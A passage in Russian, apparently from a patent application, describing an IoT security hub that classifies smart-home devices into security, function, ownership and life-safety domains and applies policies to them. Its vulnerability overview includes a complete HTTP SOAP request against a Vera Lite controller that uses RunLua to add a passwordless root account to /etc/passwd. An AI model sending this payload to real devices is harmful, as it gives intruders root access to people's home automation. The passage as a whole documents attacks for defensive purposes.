• управление домашней автоматизацией с мобильного телефона или планшета через внешнюю точку доступа;
• множество готовых сценариев для безопасности, комфорта, климатических расписаний и энергосбережения.
Однако подобные контроллеры (в качестве примера можно привести Mi Casa Verde Vera Lite) могут иметь уязвимости. Упомянутый контроллер соединяется с серверами MiCasaVerde через SSH-протокол. Сам контроллер умеет исполнять скрипты, написанные на языке Lua. Для указанного контроллера имеют место нижеперечисленные уязвимости.
• Отключенная по умолчанию аутентификация при доступе к панели управления контроллера.
• Добавление бэкдора с помощью следующей команды:
POST /upnp/control/hag HTTP/1.1
Host: VERA_IP:49451
Accept: text/javascript, text/html, application/xml, text/xml, */*
AcceptLanguage:
enus,
en;q=0.5
AcceptEncoding:
gzip, deflate
XRequestedWith:
XMLHttpRequest
XPrototypeVersion:
1.7
ContentType:
text/xml;charset=UTF8
MIMEVersion:
1.0
SOAPACTION: "urn:schemasmicasaverdeorg:
service:HomeAutomationGateway:1#RunLua"
ContentLength:
436
Connection: keepalive
Pragma: nocache
CacheControl:
nocache
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:RunLua xmlns:u="urn:schemasmicasaverdeorg:
service:HomeAutomationGateway:1">
<DeviceNum></DeviceNum>
<Code>os.execute(";echo 'backdoor%3a%3a0%3a0%3aBackdoor Root
Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd";)</Code>
</u:RunLua>
</s:Body>
</s:Envelope>
• Обход путей (англ. Path traversal) позволяет получить доступ к таким файлам, как файл пользователей (/etc/lighttpd.users), а также хеши паролей (/etc/passwd).
• Недостаточные проверки прав доступа. Например, для пользователей с правами доступа Guest в интерфейсе есть возможности для сохранения настроек, которые такие пользователи менять не должны.
• Отсутствие подписи для прошивок.
• Пользователи с правами Guest могут создавать резервные файлы, которые содержат важную информацию (например, список пользователей и хеши паролей).
• Отсутствие проверок на выполнение Lua-кода (т.е. можно выполнить потенциально вредоносный код).
• CSRF-уязвимости.
• Некоторые библиотеки имеют уязвимости к переполнению буфера (англ. buffer overflow).
Также существует проблема физического доступа. Например, злоумышленник может получить физический доступ к одному из IoT-устройств и может сбросить его настройки (например, для Nest Thermostat достаточно зажать кнопку питания на 10 секунд, другие устройства также могут быть легко сброшены к заводским настройкам), вывести из строя его функционал, изменить настройки и даже использовать устройство для слежения за пользователем. Например, один из вариантов использования умных камер включает отправку кадров на один из адресов злоумышленника. Для умных замков, к которым злоумышленник получил доступ, один из вариантов использования включает предоставление доступа к дому в определенные часы, когда самих хозяев нет дома.
Таким образом, требуются дополнительные решения для отслеживания возможных вариантов взлома IoT-устройств.
Перечислим основные уязвимости, упомянутые выше.
• Отсутствие аутентификации или слабая аутентификация (использование коротких или слабых паролей).
• Отсутствие шифрования при передаче важных данных (например, паролей).
• Слабая защищенность устройств при работе в оффлайн-режиме.
• Плохая реализация приложений для управления IoT-устройствами. Например, приложения могут хранить ключи шифрования в открытом виде.
• Недостаточная проверка легитимности отправляемых к устройствам команд. Некоторые устройства могут быть сброшены к заводским настройкам, используя всего одну команду (англ. ‘reset to factory default’) без какой-либо проверки.
• Отсутствие проверок базовых физических параметров, таких как сила сигнала. Например, даже если устройство рассчитано на передачу сигналов на 2-3 метра, верхняя граница этого параметра может быть в десять раз выше - до 30 метров, что позволяет злоумышленникам совершать атаки с улицы или из другого дома.
• Возможность доступа к данным приложения на смартфонах, которые управляют IoT-устройствами. Например, можно извлечь ключ шифрования трафика между смартфоном и умным замком. Кроме того что можно получить возможность управления, под атаку также попадают и личные данные пользователей.
• Отсутствие проверок прошивок для устройств. Если IoT-устройство не поддерживает проверку цифровой подписи для файла прошивки, то существует возможность изменить легальную прошивку на аналогичную с бекдором.
• Наличие дополнительных сервисов / служб, которые работают на IoT-устройстве и которые не несут полезной нагрузки для пользователя, но могут быть использованы злоумышленниками для получения доступа к устройству. Примером могут служить сервисы телеметрии, которые отправляют данные на сервера производителя или другим сторонам.
Используя эти уязвимости, злоумышленник может проводить как “классические атаки”, вроде кражи ключей шифрования, DoS-атаки, перезагрузки и сброса оборудования, так и специфичные именно для определенных IoT-устройств - например, для умных лампочек можно проводить так называемые blink-атаки, когда сами лампочки часто и хаотично мигают, что раздражает окружающих (что сказывается на QoS).
Таким образом, требуется создание окружающей инфраструктуры, которая позволит избежать их использования со стороны злоумышленников.
Хаб (общее описание)
На Фиг. 3 изображен пример схемы IoT-экосистемы (инфраструктуры), в которую добавлены элементы, которые предназначены для обеспечения необходимого уровня безопасности на разных уровнях. Помимо устройств 110 в сети также могут быть защищенные устройства 320, которые отличаются от обычных устройств наличием защищенной ОС (будут рассмотрены в рамках описания Фиг. 2). Подобные устройства имеют достаточный уровень защиты уже по умолчанию и дополнительно могут быть гибко настроены с целью повышения уровня информационной защиты, обеспечения конфиденциальности и соблюдения безопасности использования устройств.
Кроме того, в системе также присутствуют хабы безопасности 310, а также приложение безопасности 330, работающее на стороне платформы 130. Хабы безопасности 310 являются сетевыми устройствами и могут работать как аналог шлюзов 120, так и работать с зеркалированным трафиком от шлюзов 120. Такие варианты реализации позволяют хабу 310 перехватывать трафик, анализировать трафик, который проходит через хаб (режим работы прокси), получать зеркалированный трафик с других сетевых устройств. Приложение безопасности 330 может быть антивирусным приложением, которое проверяет как данные, которые хранятся в рамках инфраструктуры 130, так и работающие приложения 140. Примером подобного приложения является McAfee VirusScan Enterprise или Security Solutions for Amazon Web Services (AWS).
Далее рассматривается каждый из элементов:
• защищенное устройство 320,
• хаб безопасности 310,
• приложение безопасности 330.
Фиг. 2 иллюстрирует IoT-устройство, которое может быть защищено с помощью защищенной операционной системы (ОС). Примером защищенной операционной системы является Kaspersky OS1 (1https://os.kaspersky.com/). Примером устройства может служить роутер.
На Фиг. 2 отображены основные элементы - приложения 240, ядро операционной системы 230, блок принятия решений 220 и настройки безопасности 210 (политики безопасности, англ. Security Policies). Настройки безопасности 210 могут быть созданы заранее и, как правило, включают набор правил, регулирующих взаимодействия приложений как с ресурсами устройства, так и с другими приложениями. Затем эти настройки загружаются в блок принятия решений 220, который используется ядром ОС 230 для проверки всех запросов со стороны приложений 240. Подобные решения описаны в патентах US10361998 и US9774568.
Настройки (они же политики безопасности) могут быть основаны как с использованием ролей (англ. role-based), так и на обязательном контроле доступа (англ. mandatory access control), временной логике доступа (англ. temporal logic) и любых других известных из уровня техники. Чем более проработанной является политика, тем больше возможностей для контроля приложений может быть предоставлено через ядро ОС и блок принятия решений.
Еще один вариант предусматривает установку отдельного гипервизора (не отображен на Фиг. 2), который будет обеспечивать безопасность функционирования одной или нескольких гостевых ОС на устройстве. Примером такого гипервизора можно привести решения, описанные в патенте US10162964.
Подобная защита с использованием защищенной ОС предоставляет также возможности для безопасной загрузки устройства (англ. secure boot) и безопасных обновлений приложений (англ. secure update). Для безопасной загрузки через политики безопасности будет инициирована проверка цифровой подписи самой ОС и ее ключевых модулей (например, драйверов) еще до их фактической загрузки в память, что позволит избежать возможной компрометации данных и загрузки вредоносных модулей. Для безопасных обновлений приложений сначала происходит загрузка самих обновлений во временное хранилище на устройстве, затем происходит их проверка (она также может включать проверку цифровой подписи обновления), и лишь затем будет запущен доверенный процесс обновления, который обновит приложения и их данные. Кроме того, политики безопасности позволяют проводить аудит работающих приложений (через журналирование выполняемых операций) с помощью любых известных из уровня техники методик. Сами настройки могут передаваться на устройство со стороны хаба безопасности 310.
Кроме того, на защищенном устройстве 320 используется список разрешенных приложений (англ. whitelist), содержащий приложения, которые могут быть установлены и запущены на устройстве, а также приложения, которые отсутствуют на устройстве, но с которыми разрешено данному устройству взаимодействовать удаленно. Подобный список используется при реализации политики Default Deny, когда разрешена установка и запуск только приложений из списка разрешенных приложений. В ином случае, когда разрешен запуск приложений не только из данного списка, защищенная ОС позволяет журналировать вызовы системных функций для отслеживания возможных вредоносных действий. Подобный функционал известен в компьютерной безопасности и называется «Контроль приложений» (англ. application control). Список разрешенных приложений обновляется через хаб 310. Правила взаимодействия приложений включают контроль системных вызовов. Системные вызовы включают по меньшей мере одно из: межпроцессные взаимодействия, доступ к оборудованию (драйверам).
Дополнительно с хаба 310 загружается политика использования вычислительных ресурсов устройства 320. Например, политика содержит список разрешенных к использованию портов ввода-вывода, а также условия их использования. Это позволяет исключить ситуацию, когда злоумышленник использует инженерные порты (например, USB-порт) для получения доступа к устройству - в таких случаях защищенная ОС отключает питание таких портов.
Рассмотрим случай, когда в сети используется недоверенное устройство. Есть ряд способов обеспечения достаточного уровня безопасности всей IoT-инфраструктуры:
• Запрет на передачу незашифрованных данных по сети;
• Запрет на использование IoT-протоколов, которые имеют известные уязвимости, или ограничение их использования;
• Выявление и противодействие DDoS-атакам;
• Использование политик безопасности, использующих разрешающие (англ. whitelist) и запрещающие (англ. blacklist) списки устройств, а также установленных приложений;
• Использование методов митигации (снижения рисков) уязвимостей в используемых протоколах (в тех случаях, если невозможно не использовать данную версию протокола);
• Изоляция отдельных сегментов сети;
• Поиск и обнаружение аномалий в трафике, использование сетевых экранов;
• Использование сильных паролей, реализация менеджера паролей для управления паролями. Замена паролей по умолчанию для IoT-устройств;
• Приоритет использования проводных протоколов передачи данных над беспроводными;
• Проверка IoT-устройств на возможность физического взлома и доступа к закрытым функциям (например, инженерным портам);
• Отключение небезопасных или неиспользуемых функций IoT-устройств;
• Замена небезопасных IoT-устройств на обычные (англ. dumb) устройства. Например, умные лампочки могут быть заменены на обычные, если первые подвержены replay-атакам;
• Журналирование событий на разных уровнях - как на уровне отдельных устройств, так и на уровне сети.
Так как IoT-устройства используются в различных областях деятельности (начиная от личного использования, заканчивая применением в разных сферах промышленного производства), то требования к одному и тому же устройству могут кардинально отличаться в зависимости от области применения. Например, температурный датчик, используемый в рамках умного дома, может иметь допустимую погрешность в 0.1°С и работать в небольшом диапазоне температур (например, от -10°C до +40°С), в то время как температурный датчик, используемый в производстве, должен будет иметь погрешность в 0.01°С и работать в более широком диапазоне температур. Более того, на промышленные датчики налагаются более жесткие требования по передаче показаний (например, работа в режиме реального времени), скорости работы, отзывчивости на внесение изменений со стороны пользователей и другим параметрам.
Хабом безопасности 310 может быть как отдельное устройство (в качестве которого может выступать персональный компьютер, ноутбук или телефон), так и сетевое оборудование (например, роутер). Описание основной функциональности иллюстрируется на Фиг. 4. В качестве примера хаба 310 можно привести Kaspersky IoT Secure Gateway.
В еще одном варианте реализации хабом 310 может выступать компьютер, на котором установлен антивирус с возможностью управления настройками безопасности для IoT-устройств.
Основные функции хаба 310:
• инвентаризация всех IoT устройств 110,
• выделение защищенных IoT-устройств 320 из списка устройств 110,
• определение связей между IoT-устройствами 110,
• организация безопасного взаимодействия IoT-устройств 110 с приложениями 140 на платформе 130,
• организация безопасного взаимодействия IoT-устройств 110 с компьютерами 150.
Под компьютером 150 подразумевается любой персональный компьютер, планшет, мобильный телефон (смартфон), сервер или иное устройство, которое имеет приложения для взаимодействия с IoT-устройствами 110 и/или установленными на этих устройствах приложениями. В качестве примера можно привести сервер для хранения данных с умных веб-камер и управлениями ими. Еще одним примером является смартфон (например, под управлением ОС Android) с установленными приложениями (например, Mi Home) для управления роботом-пылесосом (например, Roborock Sweep One). Также смартфон 150 может иметь прямое соединение с IoT-устройством 110, например, используя Bluetooth LE. В дальнейшем в рамках заявки под устройством 150 будут называться любые устройства, такие как смартфоны, персональные компьютеры или серверы.
Предпочтительным вариантом реализации хаба 310 является роутер или иное сетевое устройство по причине наличия большого количества возможностей соединений. Для связи с компьютерами 150 используется обычное Ethernet-соединение или WiFi. Для связи с IoT-устройствами 110 есть поддержка таких протоколов, как BlueTooth, ZigBee, LoRa, BACnet, Modbus, SNMP, RS232, RS422, RS485, OPC UA и другие.
Для организации безопасного взаимодействия IoT-устройств хаб 310 имеет следующие возможности:
• проверка сетевого трафика, использование IDS для обнаружения аномалий;
• выявление уязвимостей IoT-устройств (например, связанных с прошивкой IoT-устройства);
• инвентаризация IoT-устройств с целью разделения различных IoT-устройств в отдельные подсегменты (кластеры) для управления;
• анализ передаваемых объектов, таких как файлы, с помощью антивирусной проверки, в том числе и с использованием виртуальной машины (англ. sandbox);
• использование облачных антивирусных технологий, таких как Kaspersky Security Network, Symantec SONAR и других;
• возможность доставки и установки обновлений для IoT-устройств.
Еще одной важной функцией хаба 310 является фильтрация данных, которые передаются на сторону платформы 130 приложениям 140, с целью обеспечения необходимого уровня конфиденциальности данных пользователей. Например, для проверки передаваемых данных телеметрии должна присутствовать поддержка таких протоколов как MQTT и MQTT over TLS. Более подробно функции обеспечения конфиденциальности будут рассмотрены ниже.
Еще одной важной функцией хаба 310 является хранение ключей шифрования. IoT-устройства могут поддерживать PKI или иметь собственные механизмы шифрования передаваемых данных. Во втором случае, хаб 310 будет хранить ключи шифрования после установления связи с самим IoT-устройством. В одном из вариантов реализации хаб 310 работает как прокси-сервер, когда устройства 110 подключаются по безопасному каналу сначала с хабом 310, после чего хаб 310 создает отдельное подключение к сервису (платформе) 130. Один из вариантов реализации включает поддержку VPN со стороны хаба 310.
Все вышеперечисленные функции хаба 310 работают при полной инвентаризации IoT-устройств, когда об этих устройствах известно максимально возможное количество информации, чтобы можно было эффективно выполнять необходимые функции по обеспечению информационной безопасности.
Инвентаризация IoT-устройств (по безопасности)
Одним из вариантов инвентаризации является классификация устройств по уровню обеспечения информационной безопасности. Для этого необходимо учитывать параметры, связанные с возможностью идентификации устройства, проверки его безопасной загрузки, использования защищенных соединений и надежных портов, поддержка шифрования для хранимых данных, возможность своевременного обновления, работа с сертификатами, поддержка централизованных политик безопасности и многое другое. Приведем примеры классификации подобных устройств.
Все IoT-устройства можно разнести в различные классы по соблюдению (комплаенсу) таких ключевых параметров как целостность, доступность и конфиденциальность. Например, следующая таблица иллюстрирует различные классы IoT-устройств:
Класс 0 характеризует устройства, потеря контроля над которыми или их компрометация приведет к едва заметному урону информационной безопасности отдельного человека или организации. В качестве примера можно привести утечку данных о температуре внутри холодильника. Более высокие классы описывают устройства, чья порча или вывод из строя могут принести более существенный урон для людей и организаций, в том числе класс 4 предполагает, что потеря контроля над устройством приведет к травмам (или даже жертвам) или катастрофическим последствиям для инфраструктуры (например, датчики на промышленных предприятиях или системы жизнеобеспечения в больницах).
Рассмотрим уровни безопасности для целостности (англ. integrity), доступности (англ. availability) и конфиденциальности. Целостность информации - термин в информатике, означающий, что данные не были изменены при выполнении какой-либо операции над ними, будь то передача, хранение или отображение. В телекоммуникации целостность данных часто проверяют, используя хеш-сумму сообщения, вычисленную алгоритмом MAC. Доступность информации - состояние информации, при котором субъекты, имеющие права доступа, могут реализовывать их беспрепятственно. К правам доступа относятся: право на чтение, изменение, хранение, копирование, уничтожение информации, а также права на изменение, использование, уничтожение ресурсов.
Базовый - неисправность устройств может привести к незначительной угрозе целостности, снижению доступности и потере личных данных.
Средний - неисправность устройств может привести к ограниченной угрозе целостности, снижению доступности и потере личных данных.
Высокий - неисправность устройств может привести к серьезной угрозе целостности, снижению доступности и потере личных данных.
Как уже говорилось выше, одно и то же устройство может быть отнесено к разным классам в зависимости от того, где оно будет применятся. Например, усилитель WiFi-сигнала для личного использования может быть отнесен к классу 0, но его применение в больнице приведет к тому, что класс устройства будет 3 из-за требования к конфиденциальности и доступности.
Проверка соблюдения ключевых параметров или комплаенса (англ. compliance) для устройства.
Аппаратная часть
Программная часть
ОС
Аутентификация и авторизация
Шифрование
(Веб) интерфейс устройства
Мобильное приложение (если используется для управления устройством)
Конфиденциальность
Облачный сервис (приложение 140 в рамках платформы 130 )
Вышеприведенные классы отражают комплаенс по отношению к одной из таких характеристик, как целостность, доступность и конфиденциальность. Общий класс устройства может быть вычислен по разным метрикам - например, исходя из наименьшего класса одной из характеристик.
Как уже отмечалось в описании Фиг. 4, ключевой функцией хаба 310 является инвентаризация всех IoT-устройств 110 и выделение из списка этих устройств определенных групп - доменов. Устройства 110 разбиваются на домены на основании ряда характеристик (будут рассмотрены ниже) - прежде всего, связанных с требованием к информационной безопасности самих устройств.
В одном из вариантов реализации безопасность определяется на основании информации о классе комплаенса устройства. Если устройство имеет класс 3, то его можно отнести к безопасным устройствам, в то время как устройство класса 0 следует считать небезопасным.
В одном из вариантов реализации хаб 310 собирает информацию о классе IoT-устройства 110 непосредственно от самого устройства. В еще одном варианте реализации класс IoT-устройства 110 может быть определен на основании характеристик IoT-устройства 110. Характеристики IoT-устройства 110 могут быть получены после обмена данными с указанным устройством по сети - например, на этапе подключения IoT-устройства 110 к хабу 310.
Например, при подключении к Hue Light Bulb, используя HTTP запросы типа GET и PUT, можно получить следующий ответ после авторизации:
Полученные данные позволяют определить параметры конкретной модели данного устройства. Как правило, IoT-устройства передают следующие данные для идентификации: серийный номер и/или идентификатор, временная метка, класс устройства, идентификатор заводского ключа, который использовался для создания идентификатора, публичный ключ и другие данные.
На Фиг.5 отображена схема разбиения IoT-устройств на домены информационной безопасности на основании полученных от них данных. Хаб 310 разбивает все IoT-устройства, по меньшей мере, на три домена:
• Доверенные устройства 510. Например, это могут быть защищенные IoT-устройства 320. В еще одном варианте реализации к домену доверенных устройств 510 относятся все устройства с уровнем комплаенса 2 или выше.
• Небезопасные IoT-устройства 520. К подобным устройствам относятся те, которые имеют известные уязвимости, являются источниками вредоносной активности (например, с них распространяются вредоносные программы типа сетевые черви). База данных уязвимостей может использовать информацию с CVE (Common Vulnerabilities and Exposures). В еще одном варианте реализации к небезопасным устройствам 510 относятся все устройства с уровнем комплаенса 1.
• Недоверенные устройства 530. Данные IoT-устройства могут не иметь известных уязвимостей, но, исходя из класса комплаенса (который определен, например, как класс 0), они не могут быть отнесены к доверенным устройствам 510 и даже небезопасным 520.
В качестве доверенных устройств 510 могут выступать не только защищенные IoT-устройства 320, но также IoT-устройства, чья спецификация позволяет считать их надежными в плане информационной безопасности. Например, если от IoT-устройства была получена информация о том, что оно содержит программно-аппаратную часть, которая удовлетворяет спецификации EAL4+1 (1Например, чипы OPTIGA™ TPM) по стандарту Common Criteria, имеет только один работающий интерфейс связи с поддержкой шифрования и надежным вариантом аутентификации, то в таком случае данное IoT-устройство также будет отнесено к доверенным устройствам 510.
В качестве еще одного примера доверенных устройств можно привести IoT-устройства, построенные с использованием Intel EPID платформы, которая позволяет использовать более надежную инфраструктуру ключей шифрования2 (2http://www.intel.com/content/www/us/en/internet-of-things/iot-platform.html).
Еще одним вариантом отнесения IoT-устройства к доверенным 510 является возможность использования отдельного приложения безопасности 330. Предпочтительным вариантом реализации такого приложения является антивирусное приложение (например, Kaspersky Internet Security). Ключевыми функциями такого приложения является файловый сканер, сетевой экран (англ. firewall), поиск уязвимостей (англ. vulnerability scanner) и контроль приложений (англ. application control). Кроме того, приложение 330 поддерживает отдельный интерфейс для связи с хабом 310. Предпочтительным вариантом реализации приложения на хабе 310 является использование Kaspersky Security Center.
Одним из факторов, почему большая часть IoT-устройств относится либо к небезопасным устройствам 520 или недоверенным 530, является невозможность использования приложения безопасности 330 в силу ряда причин - отсутствие поддержки аппаратной платформы, недостаток вычислительных ресурсов, закрытость платформы и другие факторы.
Как уже отмечалось ранее, часть IoT-устройств может подключаться через другие IoT-устройства, не имея таким образом прямого подключения к хабу 310. В качестве примера можно привести ряд фотосенсоров, которые подключены к системам умного освещения дома, или температурные датчики, которые подключены к системе кондиционирования. Подобные датчики могут не иметь подключения к хабу 310, но в то же время обладают рядом известных уязвимостей, которые могут привести к некорректной работе этих (и других, связанных с ними) IoT-устройств. Некорректные показания температурных датчиков могут изменить работу кондиционера, из-за чего в помещении может нарушиться температурный режим. Для борьбы с replay-атаками можно использовать специальные счетчики на IoT-устройстве 110 и хабе 310, которые при передаче данных синхронно увеличивают свои значения, и при расхождении можно определить факт данной атаки.
Кроме того, ряд IoT-устройств, таких как датчики движения, являются важными с точки зрения компьютерной безопасности, так как от корректной работы подобных сенсоров зависит работа и других IoT-устройств, как, например, умные замки, системы освещения и кондиционирования и другие.
Также устройство пользователя (например, смартфон) 150 может иметь прямое соединение с IoT-устройством 110, например, используя Bluetooth LE. Таким образом, в таких случаях хаб 310 не используется как посредник, и подобные соединения могут компрометировать безопасность всей системы. В таких случаях предпочтительна установка антивирусного приложения на смартфон 150.
Рассмотрим другие варианты разбиения групп IoT-устройств 110 на домены, не связанные с информационной безопасностью.
Разбиение на домены функциональности
Кроме разбиения IoT-устройств на домены на основании характеристик информационной безопасности хаб 310 разбивает группы IoT-устройств на домены также и на основании их функциональности. Функциональность устройства определяет основное предназначение устройства.
Например, в рамках умного дома IoT-устройства могут быть разбиты на следующие домены (или классы):
• освещение (датчики освещенности, умные лампы, автоматические шторы);
• фильтрация и очистка воздуха (увлажнители, датчики влажности, обогреватели, поглотители запаха, термометры);
• канализация (датчики протечки воды, дозаторы, редукторы);
• клининг (умные пылесосы);
• безопасность (умные замки, датчики движения, датчики дыма, умные розетки, видеокамеры и системы слежения, датчики открытия окон и дверей, датчики утечки газа);
• связь (умные колонки, роутеры, усилители сигнала и другое коммуникационное оборудование);
• носимые устройства (транспондер для животного, браслеты для отслеживания давления, сна и других физиологических параметров).
На Фиг.6 приведен пример разбиения IoT-устройств по доменам функциональности. Можно видеть, что домены безопасности (Фиг. 5) и функциональности (Фиг. 6) могут быть различны, но также и пересекаться. Подобные разбиения позволяют строить различные топологии IoT-устройств в зависимости от необходимых задач.
Основной задачей при разбиении IoT-устройств на домены функциональности является обеспечение корректной работы этих устройств, в том числе и с учетом информационной безопасности (Фиг. 5). Например, необходимо, чтобы домен функциональности, связанный с безопасностью (например, умные замки и веб-камеры), работал как можно более надежно, что потребует дополнительного анализа данных устройств с точки зрения информационной безопасности. Таким образом, комплаенс для умного замка должен быть выше, чем для умной лампочки.
Определение типа функциональности IoT-устройства может быть выполнено при его первоначальном соединении с хабом 310. Хаб 310 обладает информацией о типе устройства на основании данных о его серийном номере и/или идентификаторе, классе устройства, идентификаторе заводского ключа. В другом варианте реализации хаб 310 делает запрос на сторону платформы 130, где одно из приложений 140 обслуживает запросы конкретного IoT-устройства. На основании информации о типе приложения 140 (например, приложение обеспечивает доступ к клининговым функциям) можно сделать вывод о том, что конкретное IoT-устройство относится к домену функциональности по клинингу. Информация о типе приложения может содержаться в данных о приложении в магазине приложений, таком как Google Play или Apple Store. Таким образом, определение функциональности выполняется в том числе и динамически, на основании данных, которые будут собираться с течением времени.
Разбиение устройств на домены владельцев
Еще одним вариантом разделения устройств на домены с помощью хаба 310 является использование меток по владельцам устройств и их настройка по использованию.
Примеры перечислены ниже.
• Отсутствует владелец (англ. no owner, unowned). Устройство не имеет владельца и не используется по назначению.
• Определенный владелец (англ. owned). Устройство имеет владельца, но не настроено для использования.
• Включено (англ. provisioned). Устройство готово выполнять свою функциональность.
• Зарегистрировано (англ. registered). Устройство распознано и известно хабу 310.
• Контролируется (англ. controlled). Устройство включено с помощью хаба 310 в один из доменов безопасности.
• Настроено (англ. configured). Владелец настроил устройство для использования, хаб 310 применил необходимые политики безопасности в рамках доменов безопасности и функциональности.
• Работает (англ. operational). Устройство выполняет заложенный функционал в рамках пользовательских настроек.
Например, при первом включении устройство не имеет владельца и передает в сеть свой идентификатор для подключения, после чего оно будет распознано с помощью хаба 310 (получит статус включенного устройства и устройство будет включено в домен безопасности недоверенных устройств), затем пользователь подключится к устройству либо через хаб 310, используя свое устройство, либо через приложение 140, после чего устройство обретет владельца и будет зарегистрировано и включено в один из доменов безопасности. Затем пользователь настраивает устройство, и оно начинает работать в рамках наложенных политик безопасности.
Разбиение на домены по безопасности человеческой жизнедеятельности.
Еще один вариант разбиения на домены подразумевает учет функциональности IoT-устройств с точки зрения безопасности для человеческой жизнедеятельности. Например, некорректно работающая (испорченная или взломанная) умная лампочка может быть отключена с помощью тумблера и не будет являться заметной угрозой безопасности человеческой жизнедеятельности, в то же время испорченный термостат может серьезно изменить температуру в помещении, что приведет к неудобству (изменение QoS). Использование умных замков, которые имеют уязвимости и которые могут быть использованы злоумышленниками для того, чтобы украсть ценные вещи в помещении, является еще большой проблемой и угрозой. Злонамеренное использование различных датчиков, используемых в промышленном оборудовании или на узлах критической инфраструктуры (например, на АЭС), может привести к серьезным авариям и жертвам.
Таким образом, можно составить градацию устройств по степени их влияния на безопасность человеческой жизнедеятельности. Данная таблица отражает примерное разделение:
Пример - ряд бытовой техники, такая как умный пылесос, реостат и другие элементы умного дома
Пример - умные замки, центральные узлы управления умными вещами
Управление элементами критической инфраструктуры, элементы обеспечения человеческой жизнедеятельности (например, электрокардиостимулятор)
Разбиение по доменам устройства, его настройка
После того, как устройство будет отнесено к определенному домену (информационной безопасности, функциональности, безопасности человеческой жизнедеятельности, владельцев), хаб 310 может применять политики безопасности, определяющие ограничения для IoT-устройств, на работу конкретного IoT-устройства в зависимости от принадлежности устройства к определенным доменам.
Как уже было отмечено выше, хаб 310 может накладывать следующие ограничения на IoT-устройства:
• использование шлюза для контроля трафика,
• отключение отдельных (небезопасных) IoT-устройств,
• обновление прошивок IoT-устройств,
• обновление программного обеспечения IoT-устройств.
Ограничения могут быть наложены на основании репутации конкретного IoT-устройства. Репутация основывается как на статических данных об устройстве (например, идентификатор, данные о производителе), так и на его поведении (англ. behavior), что выражается в виде сетевого трафика, связанного с работой IoT-устройства. Таким образом, репутация является динамическим параметром. Даже если устройство при подключении может быть доверенным (не иметь уязвимостей, иметь необходимые классы комплаенса), при работе самого устройства могут возникнуть аномалии, связанные в том числе и использованием уязвимостей нулевого дня.
Кроме этого хаб 310 может производить начальную настройку IoT-устройств 110 при их первом включении и/или подключении к хабу 310.
Примеры первоначальной настройки.
Пример 1.
Умная лампочка.
Пользователь добавил новую лампочку Hue Light Bulb, которая при включении попыталась соединиться через ZigBee с хабом 310, который поддерживает данный вид протокола. После сбора идентификационной информации хаб 310 извлекает из базы данных информацию о том, что данное устройство относится к недоверенному классу устройства по информационной безопасности, относится к домену (классу) освещения по функциональности, не имеет владельца при первичной настройке и имеет нулевой уровень безопасности человеческой жизнедеятельности.
Исходя из определенных параметров, хаб 310 будет ожидать дальнейшей настройки умной лампы самим пользователем и не будет налагать никаких ограничений по трафику.
Пример 2.
Система протечки воды. Набор из датчиков и контроллеров.
Устройство будет определено, как относящееся к недоверенному классу устройства по информационной безопасности, относящееся к домену (классу) канализации по функциональности, имеющее владельца (так как отправляет данные о своей работе на пользовательское устройство, например планшет) и имеющее первый класс безопасности человеческой жизнедеятельности.
Хаб 310 в таком случае будет применять ряд правил фильтрации трафика, который направлен к контроллеру, а также периодически проверять целостность прошивки на тот случай, если программная прошивка контроллера была изменена с помощью других средств (например, через другой протокол в обход хаба 310).
Пример 3.
Умные замки.
В данном случае будет определен доверенный класс устройства по информационной безопасности, устройство относится к домену (классу) безопасности по функциональности, имеет владельца (так как отправляет данные о своей работе на пользовательское устройство, например планшет) и второй класс безопасности человеческой жизнедеятельности.
Так как устройство имеет доверенный класс с точки зрения информационной безопасности, то предполагается, что в настоящий момент времени злоумышленники не обладают возможностями по злонамеренному изменению функциональности и дополнительной настройки или контроля трафика не требуется. В то же время пассивное наблюдение необходимо для проверки работоспособности, ведь данное устройство имеет существенное влияние на человеческую жизнедеятельность. Один из вариантов такого контроля заключается в проверке периодической отправки служебного трафика со стороны умного замка, что указывает на его работоспособность. Если трафик перестал отправляться, то хаб 310 отправит нотификацию владельцу или даже заблокирует замки, если предусмотрены такие настройки пользователем.
Фиг. 9 иллюстрирует способ работы хаба 310 при подключении нового устройства.
На этапе 910 хаб 310 определяет новое IoT-устройство 110. Это может быть сделано с помощью пассивного прослушивания трафика, через прямое подключение к хабу 310 (основная функциональность хаба 310 - это маршрутизатор), ввод данных со стороны пользователя.
На этапе 920 производится сбор данных об устройстве с помощью хаба 310. В качестве данных могут выступать идентификатор и серия устройства, название устройства, данные о производителе, набор характеристик (например, параметры самого устройства), MAC-адрес и другие данные.
На этапе 930 определяется домен информационной безопасности устройства. В частности, домены включают доверенные, недоверенные и небезопасные устройства.
На этапе 940 определяется домен функциональности устройства. Доменами функциональности являются такие домены как: освещение (датчики освещенности, умные лампы, автоматические шторы), фильтрация и очистка воздуха (увлажнители, датчики влажности, обогреватели, поглотители запаха, термометры), канализация (датчики протечки воды, дозаторы, редукторы), клининг (умные пылесосы), безопасность (умные замки, датчики движения, датчики дыма, умные розетки, видеокамеры, датчики открытия окон и дверей, датчики утечки газа), связь (умные колонки, роутеры, усилители сигнала и другое коммуникационное оборудование), носимые устройства. Для автомобиля это могут быть другие домены функциональности - системы управления отдельными агрегатами (двигатель, тормоза, коробка переключения передач), подушки безопасности, адаптивные системы помощи и экстренного торможения, антизанос, мультимедиа, свет, подогрев.
На этапе 950 определяется домен устройства по безопасности человеческой жизнедеятельности. В частности, в одном из вариантов реализации используется разбиение как минимум на 4 домена с различной степенью влияния на безопасность человеческой жизнедеятельности. Этапы 930-950 могут выполняться как последовательно, так и одновременно по мере сбора (или наличию) необходимых данных.
На этапе 960 на основании определенных доменов на этапах 930-950 происходит настройка устройства. Хаб 310 может фильтровать трафик как от самого устройства, так и к нему (сетевой экран), отключить само устройство (например, небезопасное), обновить прошивку устройства или ПО на устройстве. В еще одном варианте реализации хаб 310 может отправить ряд команд для настройки устройства в том случае, если поддерживается протокол работы с данным устройством.
Настройка устройства 110 использует политики настройки устройств, которые зависят от определенных на этапах 930-950 доменов. Комбинация доменов информационной безопасности, функциональности и безопасности человеческой жизнедеятельности порождает трехмерную матрицу пересечений. Для упрощения представим пересечение доменов информационной безопасности и функциональности в виде таблицы ниже (пример):
